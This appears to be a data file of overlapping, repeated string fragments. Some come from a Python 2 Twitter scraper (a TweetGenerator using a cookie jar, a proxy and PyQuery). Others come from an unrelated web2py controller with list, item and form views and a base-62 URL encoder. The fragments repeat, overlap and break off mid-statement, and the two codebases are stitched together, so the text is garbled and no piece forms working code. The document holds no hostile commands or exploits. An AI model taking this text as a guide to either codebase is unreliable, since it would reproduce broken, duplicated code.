hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")):", "assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = [] resultsAux", "PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet')", "len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets -", "if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets >", "tweetCriteria.maxTweets: active = False break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while", "if len(tweets) == 0: break while len(results) >= noTweets: tmp = results[:noTweets] results", "json,sys,cookielib from pyquery import PyQuery from .. import models from . import TweetCriteria", "receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets]", "= TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter =", ". import TweetCriteria from . import TweetHelper class TweetGenerator(object): def __init__(self, noTweets =", "isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def", "cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or", "or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while", "self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return", "while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break", "noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def", "cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html'])", "refreshCursor = '' results = [] resultsAux = [] cookieJar = cookielib.CookieJar() if", "len(results) >= tweetCriteria.maxTweets: active = False break if receiveBuffer and len(resultsAux) > 0:", "results = [] resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and", "class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict)", "resultsAux = [] if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active =", "isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = [] resultsAux =", "''' param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input type noTweets: int", "scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets", "from . import TweetCriteria from . import TweetHelper class TweetGenerator(object): def __init__(self, noTweets", "tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in tweets: tweet =", "PyQuery from .. import models from . import TweetCriteria from . import TweetHelper", "active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip())", "refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets =", "resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets", "if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp =", "tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux)", "tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input type noTweets: int yields tweets", "= [] resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\")", "noTweets: int yields tweets that satisfy the criteria ''' assert isinstance(noTweets, int) assert", "tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet)", "def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets =", "that satisfy the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor =", "return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None):", "self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets,", "''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = []", "= TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position']", "param noTweets: input type noTweets: int yields tweets that satisfy the criteria '''", "type tweetCriteria: TweetCriteria param noTweets: input type noTweets: int yields tweets that satisfy", "proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input type noTweets:", "bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets:", "scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results) >= noTweets: tmp = results[:noTweets]", "from pyquery import PyQuery from .. import models from . import TweetCriteria from", "or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria,", "self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod", "the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results", "tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active = False break if receiveBuffer", "# Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if", "self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self):", "def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param", "for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux)", "TweetCriteria) refreshCursor = '' results = [] resultsAux = [] cookieJar = cookielib.CookieJar()", "- noTweets yield tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet)", "input type noTweets: int yields tweets that satisfy the criteria ''' assert isinstance(noTweets,", "withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break", "tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar,", "yield tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer", "Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results)", "= tweetCriteria.username[1:-1] active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy)", "= True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) ==", "proxy) if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) #", "if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active = False break if", "== 0: break while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:]", "= noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter", "break while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets =", "= tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML)", "dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self):", "tweetCriteria: TweetCriteria param noTweets: input type noTweets: int yields tweets that satisfy the", "return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input", "scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results) >= noTweets:", "= TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux =", "satisfy the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = ''", "active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor", "'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active", "__iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100,", ">= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0 and len(results) >=", "cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username", "tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >=", "noTweets: input type noTweets: int yields tweets that satisfy the criteria ''' assert", "int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = [] resultsAux = []", "resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\"))", "receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0", "0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld", "from . import TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria =", ">= tweetCriteria.maxTweets: active = False break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux)" ]
[ "_href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id)", "utf-8 -*- # this file is released under public domain and you can", "http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id)", "def __init__(self, table, record): self.table = table self.record = record def related(self): for", "edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return", "build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def", "self.names: yield self.table[name] def rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties)", "j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls,", "= text text = (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if 'urls'", "- download is for downloading files uploaded in the db (does streaming) #########################################################################", "redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table, record): self.table =", "return @classmethod def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference", "redirect(Delegate.url('object')) if len(first) not in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not", "verb is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None", "x in ( (value // cls.base**i) % cls.base for i in range(length -", "key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value =", "json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service() ''' def debug(): return", "= mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def", "def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key in mapping: self[key] =", "class ListView: def __init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table =", "= 'listview.html' self['listview'] = self.build_listview() elif record is None and verb == 'new'", "and hasattr(field, 'extra') and 'null_value' in field.extra: text = field.extra['null_value'] if primary_reference: if", "None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None and verb", "in self.names: yield self.table[name] def rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(),", "__init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table = table self.names =", "This is a sample controller ## - index is the default action of", "decorate functions that need access control also notice there is http://..../[app]/appadmin/manage/auth to allow", "field.name not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self):", "functions that need access control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator", "@auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access control also", "id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for", "a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables =", "'new', }[request.args(1)] response.flash = CAT( P('function: ', function), P('reference: ', reference), P('verb: ',", "self.build_itemview(record) elif record is None and verb is None: response.view = 'listview.html' self['listview']", "args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for key,", "released under public domain and you can use without limitations ######################################################################### ## This", "in the db (does streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title() class", "10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']:", "also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\" return", "cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class ListView: def __init__(self,", "text = row[field] link = '' type, is_reference, table_name = field.type.partition(' ') if", "sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class ListView: def", "that need access control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to", "= names self.query = query or (self.table.id > 0) self.orderby = orderby or", "if mapping: for key in mapping: self[key] = mapping[key] def __setitem__(self, key, value):", "response.view = 'form.html' self['form'] = self.build_form(record) elif record and verb == 'delete': response.view", "cls.mapping[x] for x in ( (value // cls.base**i) % cls.base for i in", "if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key", "= { None: None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash =", "= 'form.html' self['form'] = self.build_form(record) elif record and verb == 'delete': response.view =", "or self.table.id self.title = title or readable_id(table._id.tablename) self.controller = controller or request.controller self.function", "is http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\" return dict(form=auth()) @cache.action() def", "'form.html' self['form'] = self.build_form(record) elif record and verb == 'delete': response.view = 'delete.html'", "text text = (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if 'urls' in", "type, is_reference, table_name = field.type.partition(' ') if type == 'reference' and text is", "sample controller ## - index is the default action of any application ##", "def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions", "to decorate functions that need access control also notice there is http://..../[app]/appadmin/manage/auth to", "record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record,", "user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group", "return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id):", "response.flash = CAT( P('function: ', function), P('reference: ', reference), P('verb: ', verb), )", "# this file is released under public domain and you can use without", "dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return", "mb.handlers.items()}) first = request.args(0) if first is None: redirect(Delegate.url('object')) if len(first) not in", "or readable_id(table._id.tablename) self.controller = controller or request.controller self.function = function or request.function def", "== self.record.id) yield ListView(table, names, query) class Delegate(dict): def __init__(self, function, reference, verb=None):", "link = '' type, is_reference, table_name = field.type.partition(' ') if type == 'reference'", "class a62: mapping = Bijection({j: i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'", "\"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name')", "def encode(cls, value, length): return ''.join([ cls.mapping[x] for x in ( (value //", "or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table, record): self.table = table", "def delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return", "mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self,", "table._extra['columns'] query = (field == self.record.id) yield ListView(table, names, query) class Delegate(dict): def", "None: response.view = 'listview.html' self['listview'] = self.build_listview() elif record is None and verb", "= [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0] += a62.encode(reference, 10) if", "'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link,", "if len(first) not in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found')", "field.represent is not None: text = field.represent(text, row) if text is None and", "manage users \"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of uploaded", "default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self):", "yield ListView(table, names, query) class Delegate(dict): def __init__(self, function, reference, verb=None): self.function =", "function=self.function, ) record = self.table(reference) if record and verb is None: response.view =", "is None and verb == 'new' or verb == 'edit': response.view = 'form.html'", "for name in self.names: yield readable_id(name) if name != 'id' else XML('&nbsp;') def", "= self.build_itemview(record) elif record is None and verb is None: response.view = 'listview.html'", "for field in self.table._extra['related']: table = field.table names = table._extra['columns'] query = (field", "limitations ######################################################################### ## This is a sample controller ## - index is the", "record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record):", "= self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference)", "\"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def", "record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for field in table if", "display(self, field, row, primary_reference=True): text = row[field] link = '' type, is_reference, table_name", "* cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class ListView: def __init__(self, table,", "None and hasattr(field, 'extra') and 'null_value' in field.extra: text = field.extra['null_value'] if primary_reference:", "table, record, fields=[field.name for field in table if field.name not in {'created', 'created_by',", "url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None:", "in self.table._extra['related']: table = field.table names = table._extra['columns'] query = (field == self.record.id)", "if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return A(text,", "super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value = self[key] super(Bijection,", "def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text)", "the db (does streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict):", "elif record and verb == 'delete': response.view = 'delete.html' self['form'] = self.build_delete() else:", "query) class Delegate(dict): def __init__(self, function, reference, verb=None): self.function = function self.table =", "row, primary_reference=True): text = row[field] link = '' type, is_reference, table_name = field.type.partition('", "'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def display(self, field, row, primary_reference=True): text", "default action of any application ## - user is required for authentication and", "function, reference, verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns", "if field.name not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def", "(table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if 'urls' in table._extra: link =", "self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i for j, i in", "http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need", "1, -1, -1) ) ]) @classmethod def decode(cls, text): return sum( cls.mapping[c] *", "first is None: redirect(Delegate.url('object')) if len(first) not in (4, 14): raise HTTP(404) function", "type == 'reference' and text is not None: table = db[table_name] reference =", "args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for key, table in mb.handlers.items()})", "columns(self): for name in self.names: yield self.table[name] def rows(self): properties = dict( orderby=self.orderby,", "self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i for j,", "http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that", "(4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if", "return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record):", "self.names: yield readable_id(name) if name != 'id' else XML('&nbsp;') def columns(self): for name", "text = field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'],", "self.function = function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self,", "@classmethod def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in", "').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key in", "xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service() ''' def debug(): return dict(debug=dict(", "= (field == self.record.id) yield ListView(table, names, query) class Delegate(dict): def __init__(self, function,", "hasattr(field, 'extra') and 'null_value' in field.extra: text = field.extra['null_value'] if primary_reference: if hasattr(field,", "length): return ''.join([ cls.mapping[x] for x in ( (value // cls.base**i) % cls.base", "id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller,", "super(Bijection, self).__init__() if mapping: for key in mapping: self[key] = mapping[key] def __setitem__(self,", "coding: utf-8 -*- # this file is released under public domain and you", "', verb), ) return Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout", "= self.build_delete() else: raise HTTP(404) def display(self, field, row, primary_reference=True): text = row[field]", "14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:]", "self.table[name] def rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self,", "else XML('&nbsp;') def columns(self): for name in self.names: yield self.table[name] def rows(self): properties", "HTTP(404) def display(self, field, row, primary_reference=True): text = row[field] link = '' type,", "for i, c in enumerate(text) ) class ListView: def __init__(self, table, names, query=None,", "in table._extra: link = self.url(table._extra['function'], reference) elif field.represent is not None: text =", "= Bijection({j: i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base =", "title or readable_id(table._id.tablename) self.controller = controller or request.controller self.function = function or request.function", "= row[field] link = '' type, is_reference, table_name = field.type.partition(' ') if type", "return id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping:", "SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record): return", "in enumerate(text) ) class ListView: def __init__(self, table, names, query=None, orderby=None, title=None, controller=None,", "else table._format % table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'], reference) elif", "for name in self.names: yield self.table[name] def rows(self): properties = dict( orderby=self.orderby, )", "args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if reference is not None: args[0] += a62.encode(reference, 10)", "None: None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function:", "self.form class Itemview: def __init__(self, table, record): self.table = table self.record = record", "= 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None and verb is None:", "authorization ## - download is for downloading files uploaded in the db (does", "def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id):", "and verb == 'delete': response.view = 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404)", "if record and verb is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif", "controller=None, function=None): self.table = table self.names = names self.query = query or (self.table.id", "'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ', function), P('reference: ', reference),", "functions to expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return", "__init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for field in", "uploaded in the db (does streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title()", "def build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)]", "self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if record and verb", "if callable(table._format) else table._format % table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'],", "@auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first", "for key in mapping: self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key,", "field.extra['null_value'] if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if", "text is None and hasattr(field, 'extra') and 'null_value' in field.extra: text = field.extra['null_value']", "any application ## - user is required for authentication and authorization ## -", "if text is None and hasattr(field, 'extra') and 'null_value' in field.extra: text =", "default_redirect=None): self.form = SQLFORM( table, record, fields=[field.name for field in table if field.name", "query=None, orderby=None, title=None, controller=None, function=None): self.table = table self.names = names self.query =", "(value // cls.base**i) % cls.base for i in range(length - 1, -1, -1)", "'new' or verb == 'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif record", "= mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function, )", "return self.form class Itemview: def __init__(self, table, record): self.table = table self.record =", "+= a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index(): tables", "self.orderby = orderby or self.table.id self.title = title or readable_id(table._id.tablename) self.controller = controller", "default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def", "or request.controller self.function = function or request.function def headers(self): for name in self.names:", ") return Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile", "reference = a62.decode(first[4:]) if first[4:] else None verb = { None: None, 'e':", "row[field] link = '' type, is_reference, table_name = field.type.partition(' ') if type ==", "build_delete(self): return @classmethod def url(cls, table, reference=None, verb=None): args = [a62.encode(mb.handlers[table]._extra['index'], 4)] if", "not in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference =", "index(): tables = Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first = request.args(0)", "allow administrator to manage users \"\"\" 